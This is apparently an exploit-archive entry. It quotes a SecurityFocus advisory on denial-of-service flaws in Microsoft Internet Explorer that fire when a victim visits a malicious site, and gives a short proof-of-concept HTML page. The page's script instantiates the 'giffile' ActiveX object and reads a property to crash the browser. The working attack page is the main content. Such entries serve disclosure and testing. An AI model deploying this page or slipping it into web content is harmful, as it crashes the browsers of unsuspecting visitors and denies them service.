source: https://www.securityfocus.com/bid/22288/info Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities because the application fails to handle exceptional conditions. These issues are triggered when an attacker entices a victim user to visit a malicious website. Remote attackers may exploit these issues to crash Internet Explorer, effectively denying service to legitimate users. <html> <body> <script language="JavaScript"> obj = new ActiveXObject("giffile"); obj.bgColor; </script> </body> </html>